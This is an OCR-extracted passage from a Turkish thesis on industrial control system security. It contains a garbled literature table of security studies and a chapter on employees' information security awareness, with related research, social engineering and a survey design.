[zleme Zararhh Komutlar ve simiilasyon | Su aritma tesisi [152]
izlemesi
Saldiri DDoS OPNET Hidroelektrik [153]
Zararl Yazilim Kurumsal aga
Saldirt Enjeksiyonu, DoS, | Netlogo bagl elektrik [154]
MitM sebekesi, NS2




53

Cizelge 3.2. (devam) EKS giivenlik ¢alismalar1 (Inceleme odagi, kullamlan araglar ve

uygulama ile simiilasyon cercgeveleri, test yataklar1 ve risk degerlendirme

teknikleri)

. . Odak Kullanilan
Kategori Alt kategori Uygulama Auf
g g (Hedef Saldir1) Araglar Y9
. DoS, Aldatma Dogrusal dinamik
Matematiksel Saldurilart modeller Su tank1 [155]
Matematiksel Model odakli test Modelica, Eclipse ?;E‘ve pompalt [156]
. Yar1 ag-form
Siber saldirgan ve - . ..
. .. . |oyunu (Semi Dagitim besleyici
Oyun teorisi operatdr arasindaki | S e hatty [157]
etkilesimler game-SNFG)
Modelleme
Bayesian Aglar Sistem bekasi SCADASIm MitM [158]
Faktorlii sinir ag1
FNN Savunma (Factor neural Genel [159]
network)
Framework Giig sistemi
(Cergeve), saldim | Modbus, DoS RAIM ¢ sister [59]
z kontrol ag1
agaclar
Saldir1 Agaglari Modbus/TCP Saldir1 agaglar1 | Genel sistem [160]
. Analitik, Tenessee Eastman
Tekrar Saldirist Sensorler simiilasyon problemi [161]
Hatali Veri - . . .
S AC durum tahmini | Analitik Su deposu sistemi | [162]
Saldirt Enjeksiyonu
Hatali Veri e L
Enjeksiyonu Biitiinliik Analitik Akill Sayaglar [130]
Hatali Veri
Enjeksiyonu SNMP STL PLC [54]
Bitunliik saldirilar, | WEKA, Simiile ve gergek
Anomali tabanli MITM, Modbus / EPANET, VMs, | veri setleri, Su [6]
TCP k-means dagitim sistemi
Anomali tespit Telekominikasyon | g/ Data setleri [163]
aglari
EKS
Komut . .
) satirlarindaki g;c;gt?rlrllf;?dekl BlackPeer Genel sistem [124]
Makine agikliklarin tespiti
Ogrenme (syntax)
Ozellik Filtreleme | <Ot amach SVM, N-gram | Genel sistem [164]
yazilim tespiti analizi
Kétii amach Gaz boru hatt
Tek simif azilim k: ak SVDD, kernel test yatagi ve su [165]
smiflandirma yazilum Xkag PCA aritma tesisinden
girisleri .
gergek veriler
Itllzar sistem, Sensorler DF netimsiz Sensor aglar [166]
dagitilmis ajanlar O6grenme
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izelge 3.2. (devam) EKS giivenlik calismalar1 (Inceleme odagi, kullanilan araclar ve
Cizelg g cals ul ¢
uygulama ile simiilasyon cerceveleri, test yataklar1 ve risk degerlendirme
teknikleri)
. . Odak Kullanilan
Kategori Alt kategori Uygulama Auf
g g (Hedef Saldir1) Araglar Y9
Haberlesme DNP3, gri delik iz tabanli
protokolleri saldirisi SVM simiilasyon [167]
Makine OpenPlanet,
Ogrenme Hadoop, Los Angeles
Analitik Bulut tabanliveri | regressiontree, | yj copeie [168]
analitigi Floe, Proiesi
MapReduce, )
WEKA,VM
Derin paket .
Kural tabanhi IEC 60870-5-104 | incelemesi, Emmko' ”f‘f'k [8]
ITACA urumu ¢aligmasi
Endiistriyel Ag
Filtreleme sistemi Madbus and Giivenlik duvar1 | Giivenligi [11]
DNP311
Laboratuvari
Izinsiz giris Elektrik iletimi ve
toleransi, durum dagitimi i¢in basit
makinesi SCADA Donanim SCADA master [12]
yaklasimi ve RDU
Kritik durum Ortak Aragtirma
Kagak PLC'de Modbus ISML Merkezi test [169]
. tabanli
Tespit ortami
Sistemi o
Bal Kiipleri | Kole (bot) aglar Eg:gilt}mle aglarin Honeyd Veri izleri [170]
SCADA'nin
. Honeywell Bal kiipii karsitt
Analiz k9rt.1.nma51.’ bal' CDROM teknikler [16]
kiipii teknikleri
Vekil (proxy) Diisiik maliyetli bal | Honeyd+, Slammer, Code [171]
kullanimi1 kiipt teknikleri Raspberry Pi Red, Blaster
e Genis 0Olcekli
Katiiciil yazihm || . % yazilim nepenthes Nepenthes [172]
Viriis bulma ve Dinamik dagitik
Viriis hizl1 antiviriis bagigiklik E-posta ag1 [173]
yayma stratejisi
Gizlilik Akilli sayag Sira numarasi Veri izleri [127]
Elektrik gii¢ ..
Kriptoloji | Gizlilik Akill sayag yonlendime | v Yk (pavload) 1y 5y
semasi
- . e e SHA-1, HMAC-
Gizlilik MitM, Biitiinliik SHA-1 RSA [129]
Izler,
Saldin Adli analiz Akilli sebekeler Leurré.com 'Sgld.m . . [4]
Sonrasi sistemi iligkilendirmesi [170]
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4. ENDUSTRIYEL KONTROL SIiSTEMi CALISANLARINDA BILGI
GUVENLIGI FARKINDALIGI

Cagimizda bilgi teknolojileri giinlilk yasantimizin hemen her alaninda kullanilmaya
baglamistir. Bu nedenle de, 6zel bilgilerimiz de dahil olmak iizere tiim bilgilerimiz
sayisallasmaktadir. Bu sayisallagsma, sadece haberlesme yontemlerimizi degistirmekle
kalmamuis, yeni bir ¢calisma ve yasam bi¢imi olusturmustur. Bilgi teknolojileri, dolayisiyla
sayisallagsma, tretkenlik, verimlilik, zaman kazanci gibi yasantimiza bircok imkan ve
kabiliyetler kazandirmaktadir. Ancak, s6z konusu bilgi teknolojilerinin gilivenligi
saglanamadig takdirde, sistemlerde olusan 6nemli acikliklar ve tehditler nedeniyle, telafisi
olmayan zararlarla kars1 karsiya kalmabilir. Bu nedenle, bilgi teknolojilerinin kullaniminda
dikkat edilmesi gereken en temel konu giivenliktir. Bilgi teknolojileri ve Ozellikle bilgi
giivenligi konusunda en 6nemli bilesenlerden birisi de, ¢ogunlukla goz ardi edilen veya
unutulan ancak bilgi giivenligi zincirinin en zay1f halkasi olarak tabir edilen insan faktoriidiir.
Clinkii en glincel, en son teknoloji iiriinii giivenlik sistemi donanim ve yazilimlarina sahip
olunsa bile, en alt diizey ¢alisanindan en st diizey yoneticisine kadar bu donanimlarinin
gereksinimlerini kabul edip, kurumun hedeflerine ulagilmasi i¢in gerekliligine ve yararmna
inanilmazsa bu kurum i¢in giivenlikten s6z edilemez. Ciinkii kullanicilar olarak adlandirilan
calisanlarda yeterli farkindalik olusturulamadigi i¢in bu donanimlar amaclandigir bigimde
kullanilmadigindan yeterli etkinlik ve verim alinamayacaktir. Bu nedenle, ¢aligmanm bu

bolimiinde bilgi glivenligi iigliisiiniin insan faktoriine odaklanilmistir.

Bilgi giivenligine dayali problemlerin yalmzca teknik yontemlerle c¢oziimlenebilecegi
diisiincest, bilgi glivenliginin saglanmasinda belki de en énemli unsur olan insan faktoriiniin
ve kullanicilarinin deneyimlerinin goz ardi edilmesine neden olmaktadir. Oysa giivenlik acig1
yazilim ya da donanima dayali olmaktan ¢ok insan faktoriine bagl olarak ortaya ¢ikmaktadir
[68]. Insan faktoriinii asan bir saldirgamin antiviriis yazilimlarim, giivenlik duvarlarmi ya da
saldirilart rapor eden sistemleri asmast ¢ok daha kolay olmaktadir. Ciinkii tim teknolojik
diizenlemeler ve giivenlik politikalar1 gelistirilse ve belirlense bile farkindali§i eksik
kullanicilar tiim bu teknik ¢oziimleri etkisiz hale getirecektir [69]. Bilgi giivenligi risklerinden
korunmanin en iyi yolu ise, bilgi teknolojilerine daha fazla yatirim yapmak ve korunma
amach teknolojileri daha ¢ok kullanmaktan 6nce kullanicilarin bilinglenmesiyle ve ihtiyag

duyulan giivenlik teknolojisinin dogru yer ve zamanda kullanilmasidir.
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Kurumlarin en degerli varliklar1 olan bilginin; gizlilik, biitiinliik ve erisilebilirlik nitelikleri
bakimindan siirekli korunmasi, bilgi giivenliginin saglanmasi1 gerekmektedir. Bu
bilesenlere kimlik dogrulama, taklit edilememe gibi diger Ozellikler eklenebilmektedir.
Bilgi giivenligi; en temel olarak bilginin korunmasi olarak tanimlanmistir [174]. Diger bir
tanimda ise, bilgi giivenligi, bilginin istenmeyen ya da yetkisiz kisi veya varliklar
tarafindan erisilmemesinin, kullanilmamasimin, ifsa edilmemesinin, bozulmamasinin,
degistirilmemesinin, goriilmemesinin, kayit edilmemesinin ve yok edilmemesinin garanti
edilmesi olarak tanimlanmaktadir [175]. Bilgi giivenligi farkindalig1 ise, bilisim sistemi
kullanicilarmm1  bilgi giivenligi gereklilikleri ve bireysel sorumluluklar1 hakkinda
bilgilendirerek ve bilinglendirerek yeterli ilgi ve dikkati vermelerinin saglanmasi olarak
tanimlanmaktadir [176]. 1993 yilinda diizenlenen Avrupa Giivenlik Forumu'nda bilgi
giivenligi farkindaligi; her bir ¢alisan ya da kullanicinin bilgi giivenliginin 6nemini, kurum
icin uygun olan bilgi giivenligi derecesini ve bireysel olarak kullanicilarin bilgi giivenligi

sorumluluklarini anlama derecesi ve kapsami olarak tanimlanmistir [177].

Cogu endiistriyel kontrol sistemi (akilli sebekelerde dahil olmak {izere) kurumu caligsanlar
ile yoneticileri, degerinin ve korunmasinin 6neminin farkinda olmadig1 oldukg¢a hassas
bilgileri kontrol etmektedirler. Giivenligi anlayabilmek i¢in dncelikle sahip olunan bilginin
degerini ve kurum icin ne ifade ettigini kavramak gerekmektedir. Ciinkii birey kendisi i¢in
degerli olmayan hi¢bir unsuru korumak istemez. Kullanicilar, tehlikelerin farkinda
olduklar1 ve normal is egitiminin bir boliimii olarak bilgi giivenligi egitimi aldiklari siirece,
giivenlik kirilmalariin 6nlenmesine etkin olarak katki saglayabilirler [178]. Bu nedenle
kritik altyapilar1 yoneten EKS’de dahil olmak tizere, her kurumun saldirilara kars1 koymak
icin ¢alisanlarin sorumlulugu paylasacagi bir bilgi giivenligi kiiltiirli olusturmasi gereklidir.
Bilgi giivenligi kiiltiiriiniin olusturulmasiyla, riskler hi¢cbir zaman tam olarak yok edilemese
de gelistirilen yazilimsal ya da donanimsal yontemlerin disinda, bilisim giivenligi
farkindaliginin gelismesi veya gelistirilmesi ve bu bilincin davranisa doniismesi ile kabul

edilebilir bir diizeye indirilebilir [70].

Kullanicilar bilgilerinin hem giivende olmasini hem de esneklik istemektedirler. Diger bir
ifadeyle kullanicilar ne verilerinin ¢alinmasin1 ne de kati giivenlik onlemleri nedeniyle
islemlerinin aksamasini istemezler. Giivenlik ve kullanilabilirlik arasindaki dengeyi
saglamak kurumlarin bilgi gilivenligi alaninda yiizlesmek zorunda oldugu sorunlardan

birisidir. Kullanicilarin bu ikilem arasinda siirekli yon degistirdigi bir ortamda saldirganlar
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ile glivenlik uzmanlar1 arasindaki miicadele stirekli olarak devam etmektedir. Ancak bu
miicadelede sonucu degistirebilecek en biiylik etken insandir. Bu nedenle kullanicilarin

bilgi giivenligi farkindaligi, kurumlarin 6ncelikli hedeflerinden olmalidir [179-181].

Cogu kurumda ihtiya¢ duyulan antiviris yazilimlarimi ve giivenlik duvarlarini kuran,
stirekli giincellestirmelerini ve kurumsal bilgilerin yedeklemesini yapan Bilgi Teknolojileri
(BT) personeli bulunmaktadir. BT personeli tarafindan alinan s6z konusu teknik 6nlemleri
detayiyla tiim c¢aligsanlarin bilmesi gerekli degildir. Ancak alinan 6nlemlerin gerekliligi ve
uygun sekilde kullanilmadiklarinda ya da kullanilabilirligi ve is hizint etkiledigi
diistincesiyle devre dis1 birakilmalart durumunda kurumun hangi risklerle kars1 karsiya
kalabilecegi konusunda tiim ¢alisanlar/kullanicilar bilinglendirilmeli ve bu maksatla gerekli

egitimler verilmelidir [182].

Deloitte tarafindan 2009 yilinda gercgeklestirilen arastirma sonucunda, insan hatasi agik
farkla (% 86) en biiyiik giivenlik zayiflig1 olarak tespit edilmis, teknolojik eksiklikler
nedeniyle olusan hatalar ise ile ikinci sirada yer almistir. Calisanlarin kazara ya da kasith
olarak parolalar1 baskalarina sylemesi, gii¢lii bir parola segmemesi, siipheli bir elektronik
postay1 agmasi, zararl icerik bulunduran bir web sayfasina girmesi gibi oldukca basit
olarak goriilen hatalar en giiclii teknolojilerle alinan gilivenlik Onlemlerini gecersiz hale
getirmektedir. Bunun sonucunda ise ekonomik zararin yaninda, ayni zamanda
vatandaglarin yasantilarinda 6nemli hizmetlerin aksamasina sebep olabilmektedir [20].
Ucgiincii boliimde yer alan EKS’lere yonelik saldirilar sonucunda iilkelerin yasadigi zararlar
bu konudaki &nemli &rneklerdendir. Ornegin, Ukrayna Giic Tablosu saldirisinda,
saldirganlar, mizrak e-postalama (spear phishing) e-postalari, BlackEnergy 3 kotiiciil
yazilim Vvaryantlar1 ve koti amachi yazilim iceren Microsoft Office belgelerinin
manipiilasyonu da dahil olmak iizere insan odakli zafiyetleri kullanmislardir [183]. Saldirt
sonucunda, Enerji/Niikleer reaktorlerin ve atik sektdrlerinin HMI'lar1 enfekte olmus ve
tespit sliresinin gecikmesiyle orantili olarak, sistemin neredeyse tamami risk altina
girmistir. Insan etkilesimi ve hata potansiyeli nedeniyle HMI, 6zellikle de eski bir isletim
sistemine sahipse, bir sistemin en az giivenli bileseni olarak kullanilabilir [110]. Bu
ornekler EKS'nin karsilastig1 birgok giivenlik agigindan sadece birkagidir. Bu 6rneklerin
cogu egitimsiz personel ve sistem bakimi kapsamina girmektedir. Personel, bir saldirinin
etkilerinin yeterince farkinda olmadiginda, siber giivenlik uzmanlarinin sahip olduklart

hassasiyeti ve ilgiyi gdstermeyebilirler. Herhangi bir sistemde insan etkilesimi oldugu
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siirece, bu etkilesim yiiziinden zayifliklar olacaktir. Kurumlar, insan etkilesimi az olan
ortamlarda donanimlarin arizalanmasi riskini dengelemeye c¢alisirken, diger taraftan da
insan arayliziinii sinirlamay1 ve/veya personel egitimini ve farkindaligini gelistirmeyi
distinmelidirler [114]. Ciinki sistemler sertlestikge, saldirt olusumu, igeriden yardim
almadan sisteme erismenin zorlugundan dolay1 6ncelikli olarak digsalliga degil i¢ agiklari

ve zafiyetleri tespit etme egilimindedir.

Farkindalik boliimiiniin devam eden kisimlarinda sirasiyla; ikinci kisimda bilgi
giivenliginin insan boyutu bilesenine yonelik gergeklestirilen benzer c¢alismalar ele
alinmustir. Uglincii kistmda ¢alisma kapsaminda uygulanan anket uygulamasina, analiz

sonuglar1 ve ¢ikarimlara yer verilmis, sonu¢ kismiyla boliim tamamlanmustir.

4.1. Bilgi Giivenligi Farkindah@ina Yonelik Benzer Calismalar

Bilgi giivenligi lizerine yapilan ¢aligmalarda genellikle giivenlik ihlallerine ve bu ihlallerin
etkileri {izerine incelemeler yapilmaktadir. Ancak kullanicilarin bu giivenlik ihlalleri
hakkinda ne diisiindiikleri, ne bildikleri veya bu ihlallerin sonucunda kendilerini korumak
icin ne yaptiklar1 aragtirlmamaktadir. Ayrica bu calismalarin ¢ogunlugu sistemlerin
islerligi ve korunmasindan sorumlu giivenlik uzmanlari tarafindan yiiriitildiigi i¢in, temel
odak noktasi teknolojik donanimlar ve yazilimsal koruyucu oOnlemlerdir. Ancak bu
calismalarda en onemli bilesen olan insan faktorii kapsam dis1 kalmaktadir. Bu nedenle,
bilgi gilivenligi programinin bir boliimii olarak, teknoloji ve siire¢ ile birlikte insan
boyutunun da digiiniilmesi gerekmektedir. Ciinkli bilgi gilivenligi ihlallerinin temelinde
mevcut ve herhangi bir sekilde c¢alisma yasantilar1 sona eren ge¢misteki c¢alisanlar
bulunmaktadir. Kurum ¢alisanlariin bilgi giivenligi politikalarin1 ve diizenlemelerini
benimsemeleri ve uygun davraniglar sergilemeleri ic¢in bilgi giivenligi kiiltiiriiniin
olusturulmas: gerekmektedir. Bilgi giivenligi kiiltiiriiniin olusturulmas: da ancak siirekli
izleme, degerlendirme ve etkileme (ikna etme) ile olusturulabilecektir. Veiga ve Martins’in
bilgi gilivenligi kiiltiirli iizerine yaptiklar1 ¢alismasinda, uluslararasi bir finans kurumunda
on iki ayn llke de sekiz yillik bir silirecte yaptiklart uygulama sonunda bilgi giivenligi
kiiltiirinlin olusumunda, farkindalik ve egitim bilesenlerinin en 6nemli iki etken oldugu
sonucuna varmiglardir [184]. Bilgi giivenliginin sadece teknik boyuta dayali ¢éziimlerle
saglanamayacagini, basarili bilgi giivenliginin bilgi istemlerinin kullanimi esnasinda uygun

kullanict davraniglarina bagli oldugunu Montesdioca ve Macada da calismalarinda
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belirtmislerdir. Calismanin sonuglari, kullanicilarin bilgi giivenligi uygulamalarinin
faydalarini algiladiklarini ancak giivenlik kontrollerinin verimliligi azalttigini diistinmeleri

nedeniyle istenilen davranislarda bulunmadiklarini gostermistir [185].

Bilgi giivenligine karsi en biiylik tehdit, bilgisayar korsani, kétiiciil yazilimlar ve
donanimlardan daha ¢ok dikkatsiz veya kotii amacl kullanicilar ya da kuruma giris veya
erisim yetkisi olan personelin oldugu ortaya ¢ikmaktadir. Personel se¢imi, egitim, bilgiyi
saklama politikalar1 ile bilin¢li ve uyumlu kisilige sahip insanlarin giivenlige 6nemli

katkisinin oldugu sonucuna ulagilmistir [186].

Bilgi giivenliginin saglanmasia katki saglayan diger bir bilesen ise bilgi giivenligi
alaninda kazanimlarin, tecriibelerin glivenli bir ag iizerinde paylasiminin yapilarak benzer
saldirilardan diger kurum ve kuruluglarin korunmasini saglamaktir. Tamjidyamcholo ve
digerlerinin bilgi paylasimmin bilgi giivenligine etkisini konu aldiklar1 c¢alismalarinda,
giivenlik bilgisi paylasimimin risklerini ve bilgi giivenligi maliyetlerini azalttig
belirtilmistir. 2008 McAfee tarafindan verilen raporda, giivenlik ihlalleri nedeniyle, sadece
1 yilda yaklasik 1 trilyon dolar maddi kaybin ortaya ¢iktig1 bildirilmistir. Bu ihlallerin
bliylik c¢ogunlugu, iceriden birisi tarafindan oOzellikle de eski calisanlar tarafindan
gerceklestirilmistir [187]. Sanal topluluklarinin 6zellikle bilgi giivenliginin saglanmasina
yonelik ¢alisanlarin bilgi paylasiminda, tutum, giiven ve karsilikliligin 6nemli bir sekilde
bilgi degisiminde etkili oldugu goriilmistiir [188]. Flores, Antonsen ve Ekstedt ise bilgi
paylasimina idari ve ulusal kiiltiir farkinin etkisini incelemistir. Sonuglar incelendiginde,
oncelikle idari yonetimin risk alma istegi, varliklar1 nasil degerlendirdigi ve faaliyetler
iizerindeki kontrol yontemlerinin bilgi paylasimini 6énemli derecede etkiledigi sonucuna

vartlmistir [189].

Bilgi giivenligi farkindaligi kapsaminda yapilan anket caligmalarinda genellikle bilgi
giivenligi farkindaligimin  sadece bir bilesenine (sifre, uygulamalar, politikalar)
odaklanilmaktadir. Ancak ¢ok az bir kismi ¢alisanlarin bilgi giivenligi farkindaliginin tiim
boyutlarini ele almaktadir. Parsons ve digerleri ¢aligmalarinda insan temelli bilgi glivenligi
acikliklarmi &lgmek amaciyla gelistirdikleri Bilgi Giivenliginin Insan Boyutu Anketini
(Human Aspects of Information Security Questionnaire- HAIS-Q) 500 Awvustralya
calisanina uygulamiglardir. Ankette, calisanlarin kurumlarmin bilgi giivenligi politika ve

prosediirleri hakkinda yeterli bilgiye sahip olmalari ile bilgi giivenligi konusundaki tutum
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ve davraniglar1 arasindaki iliski incelenmistir. Calismada, internet, elektronik posta, sosyal
medya kullanimi, parola yonetimi, olay raporlama, bilgi isleme ve mobil kullanic1 olmak

tizere yedi alana odaklanilmistir [190].

Glinlimiizde yasanan siber saldirilar degerlendirildiginde, saldirganlarin basarilarindaki
ortak noktalardan birisi, kurban olarak nitelendirilen saldir1 magdurlarinin yeterli biling
seviyesine, farkindaliga sahip olmamasidir. Bu saldirilardan, 6zellikle sosyal miihendislik
saldirilarinda farkindaligin 6nemi ¢ok biiyiiktiir. Bilgisayar ve ag giivenligi acisindan
sosyal miihendislik, insan davranisindaki unsurlar1 giivenlik agiklar1 olarak degerlendirip,
bu aciklardan faydalanma yontemiyle giivenlik siireclerini asarak sistem yoneticisi ya da
kullanicilarin yetkilerine erisim tekniklerini kapsayan bir terimdir. Taninmis bir sosyal
miihendis olan Kevin Mitnick’e gore gilivenlik uzmanlar siirekli olarak daha iyi giivenlik
teknolojileri gelistirip teknik olarak giivenlik agiklarini istismar etmeyi zorlastirinca,
saldirganlar insan unsurunu istismar etme yoluna daha c¢ok gideceklerdir [191]. Sosyal
miithendisligi  kullanarak saldirganlar, insani oOzelliklerdeki ve davranislarindaki
acikliklardan yararlanarak kurum ve kuruluslara ait hassas bilgileri elde etmeyi
hedeflemektedirler. Sosyal miihendislige kars1 bilinen tek savunma yontemi ise etkili bilgi
giivenligi farkindahigidir [192]. Arachchilage ve Love’da yaptiklari ¢alismada kullanici
farkindaliginin sosyal miihendislik saldirilarina etkisini incelemislerdir. Calismada, gizli
bilgilerin (kullanici adi, parola, ¢evrimici bankacilik bilgileri, vb.) elde edilmesi amaciyla
gerceklestirilen oltalama (phishing) saldirisinda bilgisayar kullanicilarinin farkindaliginin
onemine yonelik olarak ortalama bilgisayar egitimine sahip 161 kullanict iizerinde
gergeklestirdikleri anket arastirmasi sonucunda, kullanicilarin farkindaligi ve bilgi sahibi
olmasinin saldirmin engellenmesine dnemli katkisinin oldugu goriilmistiir [193]. Bilgi
giivenligindeki 6nemli tehditlerden birisi olan ve tiim teknolojik Onlemleri etkisiz hale
getiren sosyal mithendislik saldirilart Kruger, Drevin ve Steyn tarafindan da incelenmistir.
Calisanlarin  siipheli goriinen bir elektronik posta almalari durumundaki tutumlarim
incelemek amaciyla yaptiklari anket calismasinda kullanicilarin  %37°si  postay1
acmayacaklarini belirtirken, %13°1 ekte gonderilen dosyay1 agabileceklerini belirtmistir.
[lave olarak kullanicilarin %42'si yasal goriinen elektronik postanin icerdigi web
baglantisini takip edebilecegini belirtirken, kullanicilarin %30'u bilgisayar performansin
artiracagini diistindiigii uygulama dosyasini galistirabilecegini belirtmistir [194]. Sosyal

miihendislige kars1 bilinen tek savunma yontemi ise etkili bilgi giivenligi farkindaligidir [195].
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Giivenlik olay1, bilgi giivenligi politikalarinin, standart giivenlik uygulamalarinin ihlali olarak
tanimlanmaktadir. Bu nedenle, hizmetlerin engellenmesi, yetkisiz hassas bilgilerin
paylasilmasi, bilisim sistemlerine veya agina yapilan saldirilar, istem dis1 nemli dokiimanlarin
silinmesinin tamam1 giivenlik olay1r olarak degerlendirilmektedir. Olaylara Miidahale
Takimlar1 gilivenlik siirecindeki hata veya ihlallere miidahale eden birimlerdir. Olaylara
Miidahale Takimlari tarafindan elde edilen verilerin tiim paydaslarla paylasilarak, giivenlik
risklerinin kullamicilar tarafindan bilinmesinin ve farkindaligin artirilmasinin etkili bilgi

giivenliginin saglanmasinda oldukg¢a 6nemli bir katki saglayacagi sonucuna varilmstir [196].

Bilgi ve iletisim teknolojilerindeki biiylik degisimler ve gelismeler, kisisel bilgilerin
depolanmasi, islenmesi ve 6zellikle de paylasimini beklenmedik seviyelere getirmistir [197].
Sosyal teknolojilerin yayginlagmasi, insanlar arasindaki haberlesme, isbirligi, bilgi paylasimi,
cevrim i¢i ticaret alaninda 6nemli katkilar saglamistir [198]. Gizlilik bildirimlerinin 6nemi
Facebook gibi az sayida site tarafindan anlasilarak, kullanicilarina kendi gizlilik politikalarini
Ozellestirme segenegi sunmaktadir. Ancak bunun yaninda Livingstone ve Brake tarafindan
gerceklestirilen calisma sonucu, Facebook kullanicilarinin gizlilik politikasinin  dnemini
yeterince algilamadiklart i¢in bu secenegin yeterince faydali olmadigini gostermektedir [199].
Vladlena, Saridakis, Tennakoon ve Ezingeardn yaptigi calismada da, sosyal medya
kullanicilarmin  bilgi gilivenligi farkindalifina yonelik inceleme yapmuslardir. Arastirma
sonuclari, satin alma istekleri ile giivenlik uyarilar1 ve sosyal agm giivenlik ozellikleri
arasinda gii¢lii pozitif bir baglanti oldugunu gostermistir. Kullanicilarin TRUSTe, BBBOnline
ve Verisign gibi giivenlik etiketleri ile gizlilik/giivenlik bildirileri bulunan web sayfalarinin

satin alma istegini olumlu yonde etkiledigi sonucuna varmslardir [200].

Saridakis ve digerleri bireysel bilgi giivenligi lizerine yaptiklar1 ¢aligmalarinda sosyal ag
kullanimu ile siber saldirillarin kurbani olma arasindaki iligki, sosyal medyanin kullanim
yogunlugu, sosyal medya tarafindan bilginin kontroliine yonelik alinan 6nlemler, siber saldir
riskinin diisiik olarak algilanmasi, yiiksek risk alma egilimi ve bilgi teknolojileriyle ilgili
bilgi seviyesi yoniinden incelemislerdir. Calisma sonucu, sosyal medyayr yogun olarak
kullananlarin, kisisel bilgilerini paylasanlarin ve bilgi paylasiminin riskli olmadigini

diistinenlerin, siber saldirilarin magduru olma olasiliginin yiiksek oldugunu gostermistir [201].

Bilgi giivenliginde insan bileseni, kurum ve kuruluslarin siber saldirilara kars1 sistemlerin

korunmasinda da olduk¢a Onemlidir. S6z konusu saldirilara karsi gelistirilen tespit ve
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engelleme sistemleri mevcut olsa da, yapilan ¢alismalar s6z konusu sistemlerin basarisinin
biiyiik oranda kullanicilara bagh oldugunu gostermektedir. Bu kapsamda, Ben-Asher ve
Gonzalez ¢aligmalarinda bilgi giivenliginin saglanmasinda yaygin olarak kullanilan saldir1
tespit sistemlerinin etkili kullanimi i¢in ¢alisanlarin bilgi seviyesi ve farkindaligimni

incelemislerdir [202].

Sirketlerin birlesmesinden sonra yeni kurumda olusan bilgi giivenligi kiiltiirii bozulmalarina
yonelik arastirma yapan Dillon ve digerleri, ¢alismalarinda bu kapsamda iki Avrupa sirketi
olan AirTelco ve Relicom isimli telekom firmalarinin birlesmesini incelemislerdir.
Calismada gerceklestirilen analiz sonucunda kurumlarin birlesme gibi doniisiim siiregleri

kapsaminda dikkat edilmesi gereken bilgi giivenligi ilkeleri tanimlanmustir [179].

Farooq ve digerleri, farkli ulus, kiiltiir ve disiplin alanlarinda okuyan {iniversite
ogrencilerinin iizerinde yaptiklar1 ¢aligmada, yas, cinsiyet, egitim seviyesi, milliyet ve
yasam alani etkenlerinin bilgi giivenligi farkindalig: ile iliskisini incelemislerdir. Yapilan
anket calismasi sonucunda, cinsiyet ve egitim seviyesi ile bilgi giivenligi farkindaligi
arasinda onemli istatistiksel korelasyon bulunurken, yas, milliyet ve yasam alani arasinda

bir iliski bulunmadig1 saptanmustir [203].

4.2. Bilgi Giivenligi Farkindahgi Anketi

Bu kisimda, ¢alisma kapsaminda gelistirilen ve hedef kitle olarak egitim seviyesi lisans ve
lisansiistii olan endiistriyel kontrol sistemi kurumu ¢aliganlarina uygulanan anket tanitilmis

miiteakiben anket sonuglarinin analiz ve ¢ikarimlarina yer verilmistir.

Bilgi giivenligi anketi ii¢ boliimden olusmaktadir. Ik bdliim, bilgi giivenliginde 6nemli
olarak diisliniilen kavramlarin tanim bilgisinden olugmaktadir. Sekil 4.1°de ilk boliimiin
son maddesinde yer alan “Bilgi giivenligi nedir?” sorusu ve cevaplari O0rnek olarak
gosterilmektedir. Bilgi giivenligi hakkinda yeterli bilgi seviyesine sahip bireylerin, sadece
bilgisayar, dokiiman ya da giivenlik duvari, antiviriis, antispam gibi teknik ¢oziimlerin
yerine, bilgi glivenligini biitlinciil bir yaklasim olarak tanimlayan segenek olan “Teknik
onlemler, personel farkindaligi (biling, egitim) ve politikayr kapsamaktadir.” se¢enegini

isaretlemeleri beklenmisgtir.



63

Bilgi giivenligi nedir ?

a. Bilgisavar giivenligidir.

b. Evrak givenligidir.

c. Givenlik duvary, antiviriis, antispam, programi
gibi dnlemlerdir.

d. Teknik onlemler, personel farkindalig: (biling,
egitim)ve politikayi kapsamaktadir.

e. Bilgi giivenliginin neyiifade ettigini tam olarak
bilmiyorum.

Sekil 4.1. Tanim bilgisi soru drnegi

Anketin ikinci bolimiinde verilen bir durum karsisinda kullanicilarin - tutumlarinin
Olciilmesinin hedeflendigi ¢oktan se¢meli sorular bulunmaktadir. Sekil 4.2°de goriilen
“E-mail adresim de dahil olmak iizere bilgisayarda kullandigim (kurumsal, sahsi, vb.)
parolalarim1” climle tamamlama sorusuyla kullanicilarin parola yonetim davraniglari
saptanmaya calisilmistir. Mansfield’e gore davranig sorulari, bir durum karsisinda bireylerin
tutum ve davranmiglarii hizli ve kesin bir yolla ortaya c¢ikarmak i¢in kullanilan en etkili
yontem olarak tanimlanmistir [204]. Bu boliimde kullanicilara birden fazla segenegi segme

ozelligi saglanarak giincel hayattaki tutum ve davraniglarini yansitmalari amaglanmustir.

E-mail adresim de dahil olmak tizere bilgisavarda
kullandigim (kurumsal, sahsi, vb.) parolalanmi ;

a. Hicbir zaman degistirmem.

b. Sistembenizorladiginda (mecburkaldifimda)
degistiriim.

c. On bes giinde bir degistiririm.

d. Avdabirdegistiririm

e. Altravda bir degistiririm.

Sekil 4.2. Coktan se¢meli soru 6rnegi

Ugiincii boliimde ise kullanicilarin kendilerine belirtilen bilgi giivenligi ile ilgili (25)
maddeye 5°li likert Olgegine gore hazirlanmig 1-5 arasi (Kesinlikle Katilmiyorum,
Katiliyorum, Kararsizim, Katiliyorum, Kesinlikle Katilmiyorum) degerlerden birisini
isaretlemeleri istenmistir. Bu sayede gercgeklestirilecek analiz ¢alismasinda katilimcilarin

verdigi cevaplar sayisal olarak degerlendirilmesi hedeflenmistir.
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Anketin yeni gelistirilmesi nedeni ile 35 kisilik veri lizerinden temel bilesenler analizi
yapilmistir. Analiz sonucunda ii¢iincii boliimde yer alan 25 maddeden 2 madde giivenilirlik
degeri diisiik oldugu i¢in ¢ikartilmis ve Cronbach Alfa degeri (glivenilirlik degeri) 0,691
olarak tespit edilmistir. Cronbach Alfa degeri kabul edilebilir degerde olup anket 207
kisiye uygulanmistir.

Anket Google Docs kullanilarak g¢evrimici olarak yiliklenmis ve baglanti katilimcilara
gonderilerek anketi tamamlamalar1 saglanmistir. Anketi toplam 207 katilimer tamamlamis
ancak 7 katilimcinin egitim seviyesi lisansalti (Lise ve Meslek Yiiksek Okulu) olmasi
nedeniyle dikkate alinmamistir. Kalan 200 katilimcinin cevabi iizerinden degerlendirme
yapilmistir. Verilerin toplanilmasi siirecini miiteakip veri analizi i¢in IBM SPSS Statistics

20 paket programi kullanilmigtir.

Caligmada gerceklestirilen aragtirma kapsaminda asagidaki hipotezler incelenmistir.

